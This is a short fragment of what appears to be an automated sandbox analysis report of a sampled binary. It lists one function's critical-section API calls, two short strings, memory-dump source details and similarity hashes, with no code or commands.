__Init_thread_footer.LIBCMT ref: 04B57380

Part of subcall function 04B5938D: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B59397
Part of subcall function 04B5938D: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B593CA

Strings

EDO*, xrefs: 04B57334
DCDO, xrefs: 04B5732D

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: DCDO$EDO*
API String ID: 4132704954-3480089779
Opcode ID: 8b51cd775da556fe0e8da68bd1a71e78c45c54a650ae96054a820cef77246584
Instruction ID: 87e41e0b2f9597b44a57a598c6086e4c7b239a4d94fb22646f4d4381699c326c
Opcode Fuzzy Hash: 8b51cd775da556fe0e8da68bd1a71e78c45c54a650ae96054a820cef77246584
Instruction Fuzzy Hash: B3014FB0B01208DBDB10DF54E98169CB7A0EB05714F9041B9DE16573A0DB3479858B89